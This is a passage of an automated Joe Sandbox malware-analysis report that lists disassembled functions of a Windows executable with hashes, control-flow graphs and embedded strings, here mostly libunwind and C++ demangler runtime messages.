                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: malloc
                                  • String ID:
                                  • API String ID: 2803490479-0
                                  • Opcode ID: 32b5085e0174258fcd89abbd63f116b3600349e14776db4c38fcb73417ec8c35
                                  • Instruction ID: f277b92dd30d50058202fa769c8b0545de3283f368c22f548d473b360f10b94d
                                  • Opcode Fuzzy Hash: 32b5085e0174258fcd89abbd63f116b3600349e14776db4c38fcb73417ec8c35
                                  • Instruction Fuzzy Hash: 33E1E32363AB8385EA959F18D8407B9A7B5EB49BD1F844135DE8C0B391EF3CE551C3A0
                                  Function 00007FF779712710 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: AddressHandleModuleProc
                                  • String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
                                  • API String ID: 1646373207-706389432
                                  • Opcode ID: b448c299ad2c04bb2e5eec51baedb771711474971e5995f939cc9f046a9944f1
                                  • Instruction ID: c952d71d3637c1ce4eb4d4a8d454a7c7adf9f2108ac82c9d5027e28c20fe58d8
                                  • Opcode Fuzzy Hash: b448c299ad2c04bb2e5eec51baedb771711474971e5995f939cc9f046a9944f1
                                  • Instruction Fuzzy Hash: 79E02D26ABBA07C2EA44AF51AC85174A2B0AB99795FC04939C54D06330EE2CA55A83B0
                                  Function 00007FF7797076E0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 250COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: memcpyrealloc
                                  • String ID: %LaL
                                  • API String ID: 2500458235-3433341929
                                  • Opcode ID: 7881fc66a91655c0b7561184f9a0693de23a3cc8bf37a0c9a732274ca51f79a1
                                  • Instruction ID: e7e04404310a6efe567b2fba6affde746b40570dabf3bae6fb24189e2c243d0f
                                  • Opcode Fuzzy Hash: 7881fc66a91655c0b7561184f9a0693de23a3cc8bf37a0c9a732274ca51f79a1
                                  • Instruction Fuzzy Hash: C0916C6BB2C6D113DB394334B540F9D6E60D7A27A2F059315CB7403F9AD92EC2168B00
                                  Function 00007FF7796F92BB Relevance: 2.3, APIs: 1, Instructions: 1088COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: b51e2a745836820ae5e51b927a30219108dac0aaa5d01f5bdc8f99822855a4c1
                                  • Instruction ID: b0656f37d03c042fbed1128a75ccee25004a63c5aea5304935694bb73c501dc1
                                  • Opcode Fuzzy Hash: b51e2a745836820ae5e51b927a30219108dac0aaa5d01f5bdc8f99822855a4c1
                                  • Instruction Fuzzy Hash: 8B92C533A3E64386E765AE25A04032BE6B3FB857C4F905235E94E93795FE3CE4418B50
                                  Function 00007FF7796F1B40 Relevance: .3, Instructions: 268COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 7eb96e3d47f38f9666091484b2575135f7935362b06e64030a895774840bb5cc
                                  • Instruction ID: 581627926768a8e79a5b6610b53cac19d9e9853bf3cfc35143ee3d56bda71803
                                  • Opcode Fuzzy Hash: 7eb96e3d47f38f9666091484b2575135f7935362b06e64030a895774840bb5cc
                                  • Instruction Fuzzy Hash: 43A11563B3E78242EB14AF15A4107BBA6A3EB857D0F454235DE9D83B85EE3DD045CB10
                                  Function 00007FF7796F4120 Relevance: 33.5, APIs: 8, Strings: 11, Instructions: 230COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1153 7ff7796f4120-7ff7796f4159 call 7ff7796f8350 call 7ff7796f87f0 1158 7ff7796f4413-7ff7796f441a call 7ff7796f8a70 1153->1158 1159 7ff7796f415f-7ff7796f4173 1153->1159 1164 7ff7796f444d-7ff7796f4467 1158->1164 1165 7ff7796f441c-7ff7796f4448 call 7ff7796f3d60 fflush 1158->1165 1161 7ff7796f4198-7ff7796f41ae call 7ff7796f8880 call 7ff7796f8a70 1159->1161 1172 7ff7796f41b4-7ff7796f41b6 1161->1172 1173 7ff7796f437a-7ff7796f437c 1161->1173 1170 7ff7796f4470-7ff7796f4484 1164->1170 1165->1164 1175 7ff7796f4232-7ff7796f425f call 7ff7796f8a70 1172->1175 1176 7ff7796f41b8-7ff7796f41d0 call 7ff7796f89b0 1172->1176 1173->1170 1177 7ff7796f4382-7ff7796f4394 1173->1177 1191 7ff7796f4261-7ff7796f4287 call 7ff7796f3d60 fflush 1175->1191 1192 7ff7796f428c-7ff7796f428f 1175->1192 1184 7ff7796f41e6 1176->1184 1185 7ff7796f41d2-7ff7796f41e4 1176->1185 1186 7ff7796f43b5-7ff7796f43bb call 7ff7796f3d60 1177->1186 1189 7ff7796f41ed-7ff7796f41f4 call 7ff7796f8a70 1184->1189 1185->1184 1185->1189 1190 7ff7796f43c0-7ff7796f43d3 fflush 1186->1190 1189->1175 1197 7ff7796f41f6-7ff7796f422d call 7ff7796f3d60 fflush 1189->1197 1190->1170 1191->1192 1194 7ff7796f4295-7ff7796f429d 1192->1194 1195 7ff7796f4396-7ff7796f439d call 7ff7796f8a70 1192->1195 1199 7ff7796f42a3-7ff7796f42aa call 7ff7796f8a70 1194->1199 1200 7ff7796f4188-7ff7796f4192 call 7ff7796f87f0 1194->1200 1195->1170 1211 7ff7796f43a3-7ff7796f43ae 1195->1211 1197->1175 1213 7ff7796f42ac-7ff7796f42d2 call 7ff7796f3d60 fflush 1199->1213 1214 7ff7796f42d7-7ff7796f42f8 1199->1214 1200->1158 1200->1161 1211->1186 1213->1214 1220 7ff7796f4340-7ff7796f4347 call 7ff7796f8a70 1214->1220 1221 7ff7796f42fa-7ff7796f4300 1214->1221 1232 7ff7796f4180-7ff7796f4183 call 7ff7796f8920 1220->1232 1233 7ff7796f434d-7ff7796f4375 call 7ff7796f3d60 fflush 1220->1233 1224 7ff7796f4306-7ff7796f430d call 7ff7796f8a70 1221->1224 1225 7ff7796f43d8-7ff7796f43dc 1221->1225 1224->1200 1239 7ff7796f4313-7ff7796f433b call 7ff7796f3d60 fflush 1224->1239 1229 7ff7796f4485-7ff7796f448c call 7ff7796f8a70 1225->1229 1230 7ff7796f43e2-7ff7796f43e9 call 7ff7796f8a70 1225->1230 1229->1170 1242 7ff7796f448e-7ff7796f44ae call 7ff7796f3d60 1229->1242 1230->1158 1244 7ff7796f43eb-7ff7796f440e call 7ff7796f3d60 fflush 1230->1244 1232->1200 1233->1232 1239->1200 1242->1190 1244->1158
                                  APIs
                                  Strings
                                  • libunwind: unwind_phase2_forced(ex_ojb=%p): personality returned _URC_INSTALL_CONTEXT, xrefs: 00007FF7796F4357
                                  • libunwind: unwind_phase2_forced(ex_ojb=%p): calling personality function %p, xrefs: 00007FF7796F42B6
                                  • libunwind: unwind_phase2_forced(ex_ojb=%p): start_ip=0x%llx, func=%s, lsda=0x%llx, personality=0x%llx, xrefs: 00007FF7796F4214
                                  • libunwind: unwind_phase2_forced(ex_ojb=%p): __unw_get_proc_info failed => _URC_END_OF_STACK, xrefs: 00007FF7796F438D
                                  • .anonymous., xrefs: 00007FF7796F41E6
                                  • libunwind: unwind_phase2_forced(ex_ojb=%p): personality returned _URC_CONTINUE_UNWIND, xrefs: 00007FF7796F431D
                                  • libunwind: unwind_phase2_forced(ex_ojb=%p): personality returned _URC_END_OF_STACK, xrefs: 00007FF7796F43F2
                                  • libunwind: unwind_phase2_forced(ex_ojb=%p): stopped by stop function, xrefs: 00007FF7796F43AE
                                  • libunwind: unwind_phase2_forced(ex_ojb=%p): personality returned %d, _URC_FATAL_PHASE2_ERROR, xrefs: 00007FF7796F4499
                                  • libunwind: unwind_phase2_forced(ex_ojb=%p): stop function returned %d, xrefs: 00007FF7796F426B
                                  • libunwind: unwind_phase2_forced(ex_ojb=%p): calling stop function with _UA_END_OF_STACK, xrefs: 00007FF7796F442B
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: fflush$CaptureContextgetenv
                                  • String ID: .anonymous.$libunwind: unwind_phase2_forced(ex_ojb=%p): __unw_get_proc_info failed => _URC_END_OF_STACK$libunwind: unwind_phase2_forced(ex_ojb=%p): calling personality function %p$libunwind: unwind_phase2_forced(ex_ojb=%p): calling stop function with _UA_END_OF_STACK$libunwind: unwind_phase2_forced(ex_ojb=%p): personality returned %d, _URC_FATAL_PHASE2_ERROR$libunwind: unwind_phase2_forced(ex_ojb=%p): personality returned _URC_CONTINUE_UNWIND$libunwind: unwind_phase2_forced(ex_ojb=%p): personality returned _URC_END_OF_STACK$libunwind: unwind_phase2_forced(ex_ojb=%p): personality returned _URC_INSTALL_CONTEXT$libunwind: unwind_phase2_forced(ex_ojb=%p): start_ip=0x%llx, func=%s, lsda=0x%llx, personality=0x%llx$libunwind: unwind_phase2_forced(ex_ojb=%p): stop function returned %d$libunwind: unwind_phase2_forced(ex_ojb=%p): stopped by stop function
                                  • API String ID: 3501801798-3031193476
                                  • Opcode ID: 2c2042e08bbac2c23237b96d70b7f4566f0efbb0a5ba3dd869ebdfe9a7cb8860
                                  • Instruction ID: 68f59d378435775608a337684d45cfce92671050f527cf2c105cd1d22a44e4ef
                                  • Opcode Fuzzy Hash: 2c2042e08bbac2c23237b96d70b7f4566f0efbb0a5ba3dd869ebdfe9a7cb8860
                                  • Instruction Fuzzy Hash: 61815112A3E61341FA14BF61A4057BAE273EF86BC4FC00635DE4E97BC6EE2CE5054265
                                  Function 00007FF7796F3820 Relevance: 31.8, APIs: 7, Strings: 11, Instructions: 297COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1424 7ff7796f3820-7ff7796f3846 call 7ff7796f8a70 1427 7ff7796f3882-7ff7796f388a 1424->1427 1428 7ff7796f3848-7ff7796f387d call 7ff7796f3d60 fflush 1424->1428 1429 7ff7796f38bb-7ff7796f38c8 1427->1429 1430 7ff7796f388c-7ff7796f3897 1427->1430 1428->1427 1433 7ff7796f38f6-7ff7796f3a09 memcpy 1429->1433 1434 7ff7796f38ca-7ff7796f38ce 1429->1434 1431 7ff7796f3c25-7ff7796f3c38 1430->1431 1432 7ff7796f389d-7ff7796f38a1 1430->1432 1432->1431 1436 7ff7796f38a7-7ff7796f38b6 1432->1436 1438 7ff7796f3a0b-7ff7796f3a17 call 7ff7796f4a70 1433->1438 1439 7ff7796f3a19 1433->1439 1434->1433 1437 7ff7796f38d0-7ff7796f38d7 1434->1437 1436->1431 1437->1433 1442 7ff7796f38d9-7ff7796f38eb call 7ff7796f8a70 1437->1442 1438->1439 1441 7ff7796f3a21-7ff7796f3a9d call 7ff7796f86c0 1438->1441 1439->1441 1451 7ff7796f3bb5-7ff7796f3bd2 call 7ff7796f8a70 1441->1451 1452 7ff7796f3aa3-7ff7796f3ac2 call 7ff7796f8a70 1441->1452 1453 7ff7796f3ac4-7ff7796f3b05 call 7ff7796f3d60 fflush 1442->1453 1454 7ff7796f38f1 1442->1454 1451->1453 1462 7ff7796f3bd8 1451->1462 1452->1453 1457 7ff7796f3b0a-7ff7796f3b2f call 7ff7796f8a70 1452->1457 1453->1457 1454->1457 1467 7ff7796f3b31-7ff7796f3b5d call 7ff7796f3d60 fflush 1457->1467 1468 7ff7796f3b62-7ff7796f3b66 1457->1468 1462->1457 1467->1468 1470 7ff7796f3c16-7ff7796f3c1f 1468->1470 1471 7ff7796f3b6c-7ff7796f3b70 1468->1471 1470->1431 1473 7ff7796f3cb6-7ff7796f3cba 1470->1473 1474 7ff7796f3b72-7ff7796f3b78 1471->1474 1475 7ff7796f3bdd-7ff7796f3be1 1471->1475 1476 7ff7796f3d15-7ff7796f3d31 1473->1476 1477 7ff7796f3cbc-7ff7796f3ce7 1473->1477 1474->1431 1481 7ff7796f3b7e-7ff7796f3b87 1474->1481 1479 7ff7796f3be3-7ff7796f3bec 1475->1479 1480 7ff7796f3c39-7ff7796f3cb4 call 7ff7796f8600 * 3 1475->1480 1494 7ff7796f3d38-7ff7796f3d54 call 7ff7796f3d60 fflush abort 1476->1494 1482 7ff7796f3cea-7ff7796f3d13 RtlUnwindEx 1477->1482 1479->1431 1484 7ff7796f3bee-7ff7796f3c11 1479->1484 1480->1482 1481->1431 1486 7ff7796f3b8d-7ff7796f3bb0 1481->1486 1482->1494 1484->1494 1486->1494
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: fflush$Unwindabortgetenvmemcpy
                                  • String ID: CCG $CCG!$Personality continued unwind at the target frame!$Personality indicated exception handler in phase 2!$Personality installed context during phase 1!$RtlUnwindEx() failed$_GCC_specific_handler$libunwind: %s - %s$libunwind: _GCC_specific_handler(%#010lx(%lx), %p)$libunwind: _GCC_specific_handler() calling personality function %p(1, %d, %llx, %p, %p)$libunwind: _GCC_specific_handler() personality returned %d
                                  • API String ID: 4246679292-2140983942
                                  • Opcode ID: 399306ebe4ceb0f237bae98179e1acdd12333d68336ae5344bae23e9d3188841
                                  • Instruction ID: 28a30bd5447b695c8969a7862cebc4aba577ff6ab0af55644acf0202db6adc4e
                                  • Opcode Fuzzy Hash: 399306ebe4ceb0f237bae98179e1acdd12333d68336ae5344bae23e9d3188841
                                  • Instruction Fuzzy Hash: 32D17E22A3AAC282E634AF15E5017EAA376FF84784F805236DE8D43751EF3DE195C750
                                  Function 00007FF779702BCA Relevance: 31.6, APIs: 21, Instructions: 143COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1501 7ff779702bca-7ff779702bdb 1502 7ff779702fd1 1501->1502 1503 7ff779702be1-7ff779702bed isxdigit 1501->1503 1505 7ff779702fd3-7ff779702fe2 1502->1505 1503->1502 1504 7ff779702bf3-7ff779702bff isxdigit 1503->1504 1504->1502 1506 7ff779702c05-7ff779702c11 isxdigit 1504->1506 1506->1502 1507 7ff779702c17-7ff779702c23 isxdigit 1506->1507 1507->1502 1508 7ff779702c29-7ff779702c35 isxdigit 1507->1508 1508->1502 1509 7ff779702c3b-7ff779702c47 isxdigit 1508->1509 1509->1502 1510 7ff779702c4d-7ff779702c59 isxdigit 1509->1510 1510->1502 1511 7ff779702c5f-7ff779702c6b isxdigit 1510->1511 1511->1502 1512 7ff779702c71-7ff779702c7d isxdigit 1511->1512 1512->1502 1513 7ff779702c83-7ff779702c8f isxdigit 1512->1513 1513->1502 1514 7ff779702c95-7ff779702ca1 isxdigit 1513->1514 1514->1502 1515 7ff779702ca7-7ff779702cb3 isxdigit 1514->1515 1515->1502 1516 7ff779702cb9-7ff779702cc5 isxdigit 1515->1516 1516->1502 1517 7ff779702ccb-7ff779702cd7 isxdigit 1516->1517 1517->1502 1518 7ff779702cdd-7ff779702ce9 isxdigit 1517->1518 1518->1502 1519 7ff779702cef-7ff779702cfb isxdigit 1518->1519 1519->1502 1520 7ff779702d01-7ff779702d0d isxdigit 1519->1520 1520->1502 1521 7ff779702d13-7ff779702d1f isxdigit 1520->1521 1521->1502 1522 7ff779702d25-7ff779702d31 isxdigit 1521->1522 1522->1502 1523 7ff779702d37-7ff779702d43 isxdigit 1522->1523 1523->1502 1524 7ff779702d49-7ff779702d53 1523->1524 1524->1502 1525 7ff779702d59-7ff779702d5c 1524->1525 1525->1502 1526 7ff779702d62-7ff779702d81 1525->1526 1527 7ff779702d83-7ff779702d90 malloc 1526->1527 1528 7ff779702dad-7ff779702dee 1526->1528 1529 7ff779702d96-7ff779702daa 1527->1529 1530 7ff779703080-7ff779703085 call 7ff7796f2d30 1527->1530 1528->1502 1528->1505 1529->1528
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: isxdigit$malloc
                                  • String ID:
                                  • API String ID: 1399014089-0
                                  • Opcode ID: 493b3504e96b5132e726ee44de8f28cecf9b5d1527bf54c4c4c996011feb9626
                                  • Instruction ID: 1256938acd2c574ff62d9e10e27bf88692f3f7bb98adc8a0612c1df1af4a7155
                                  • Opcode Fuzzy Hash: 493b3504e96b5132e726ee44de8f28cecf9b5d1527bf54c4c4c996011feb9626
                                  • Instruction Fuzzy Hash: 5351952363AA8742E7946F249C9037EA7B1EF48FC2F980039CA5D45991DF2CF5A5D270
                                  Function 00007FF779707B80 Relevance: 26.6, APIs: 12, Strings: 3, Instructions: 336COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 1635 7ff779707b80-7ff779707ba4 1636 7ff779707ba6-7ff779707ba8 1635->1636 1637 7ff779707bad-7ff779707bb6 1635->1637 1638 7ff77970808c-7ff7797080a2 1636->1638 1639 7ff779707bbc-7ff779707bc5 1637->1639 1640 7ff779707c77-7ff779707ca3 call 7ff7797082a0 1637->1640 1641 7ff779707d10-7ff779707d32 call 7ff7797082a0 call 7ff7796fba60 1639->1641 1642 7ff779707bcb-7ff779707bd4 1639->1642 1648 7ff779707ca5-7ff779707cb2 malloc 1640->1648 1649 7ff779707ccf-7ff779707cfa 1640->1649 1641->1636 1668 7ff779707d38-7ff779707d53 1641->1668 1646 7ff779707dc5-7ff779707e48 call 7ff7797082a0 1642->1646 1647 7ff779707bda-7ff779707be3 1642->1647 1659 7ff779707e4a-7ff779707e58 1646->1659 1660 7ff779707eb7-7ff779707ed5 1646->1660 1647->1636 1651 7ff779707be5-7ff779707bf7 call 7ff779707b80 1647->1651 1654 7ff7797080a3 call 7ff7796f2d30 1648->1654 1655 7ff779707cb8-7ff779707ccc 1648->1655 1656 7ff779707d01-7ff779707d0b 1649->1656 1651->1636 1669 7ff779707bf9-7ff779707c14 1651->1669 1666 7ff7797080a8-7ff7797080e1 _assert call 7ff7797080f0 call 7ff7796f3f50 1654->1666 1655->1649 1656->1638 1664 7ff779707e76-7ff779707e81 malloc 1659->1664 1665 7ff779707e5a-7ff779707e6f realloc 1659->1665 1667 7ff779707f2a-7ff779707f31 1660->1667 1664->1654 1672 7ff779707e87-7ff779707e8d 1664->1672 1670 7ff779707ea4-7ff779707eb0 1665->1670 1671 7ff779707e71 1665->1671 1678 7ff779707f33-7ff779707f36 1667->1678 1679 7ff779707f38-7ff779707f46 call 7ff779707b80 1667->1679 1674 7ff779707d55-7ff779707d62 malloc 1668->1674 1675 7ff779707d7f-7ff779707dc0 1668->1675 1676 7ff779707c16-7ff779707c23 malloc 1669->1676 1677 7ff779707c40-7ff779707c72 1669->1677 1670->1660 1671->1654 1681 7ff779707e8f-7ff779707e98 memcpy 1672->1681 1682 7ff779707e9d 1672->1682 1674->1654 1683 7ff779707d68-7ff779707d7c 1674->1683 1675->1638 1676->1654 1684 7ff779707c29-7ff779707c3d 1676->1684 1677->1656 1678->1679 1686 7ff779707f9d-7ff779707fce call 7ff7796fd9a0 1678->1686 1691 7ff779707f4c-7ff779707f54 1679->1691 1692 7ff779708049-7ff77970806b 1679->1692 1681->1682 1682->1670 1683->1675 1684->1677 1697 7ff779707fd0-7ff779707fdd malloc 1686->1697 1698 7ff779707ffa-7ff779708043 1686->1698 1695 7ff779707f56-7ff779707f67 1691->1695 1696 7ff779707f1e-7ff779707f26 1691->1696 1692->1666 1699 7ff77970806d-7ff779708085 1692->1699 1701 7ff779707ee0-7ff779707eef realloc 1695->1701 1702 7ff779707f6d-7ff779707f78 malloc 1695->1702 1696->1667 1697->1654 1703 7ff779707fe3-7ff779707ff7 1697->1703 1698->1692 1699->1638 1700 7ff779708087 free 1699->1700 1700->1638 1701->1654 1705 7ff779707ef5-7ff779707f1a 1701->1705 1702->1654 1704 7ff779707f7e-7ff779707f84 1702->1704 1703->1698 1706 7ff779707f86-7ff779707f8f memcpy 1704->1706 1707 7ff779707f94-7ff779707f98 1704->1707 1705->1696 1706->1707 1707->1705
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.1811471947.00007FF7796F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7796F0000, based on PE: true
                                  • Associated: 00000000.00000002.1811456826.00007FF7796F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811509481.00007FF779719000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811524538.00007FF779723000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811539150.00007FF779724000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811629144.00007FF77981C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811645401.00007FF77981F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.1811660975.00007FF779823000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_7ff7796f0000_sE5IdDeTp2.jbxd
                                  Similarity
                                  • API ID: fflush$Unwind_assertabortmalloc
                                  • String ID: /home/runner/work/llvm-mingw/llvm-mingw/llvm-project/libcxxabi/src/demangle/ItaniumDemangle.h$Parser->TemplateParams.size() >= OldNumTemplateParamLists$yptn
                                  • API String ID: 2460331008-2552725819
                                  • Opcode ID: 0c80bad6e972a27b6348764f3f0f3f2045ecc6d1aad5778c6820c893f99cd668
                                  • Instruction ID: 232469c020ac1507a2975b3b35783e6c9c7a1397bc5227c04983f65209bb3439
                                  • Opcode Fuzzy Hash: 0c80bad6e972a27b6348764f3f0f3f2045ecc6d1aad5778c6820c893f99cd668
                                  • Instruction Fuzzy Hash: 93E1B43363AB8286EA649F15D8443B9B7B4EB48BC0F954135DA8D0B791EF3CE151C3A0
                                  Function 00007FF779702DF3 Relevance: 25.6, APIs: 17, Instructions: 127COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
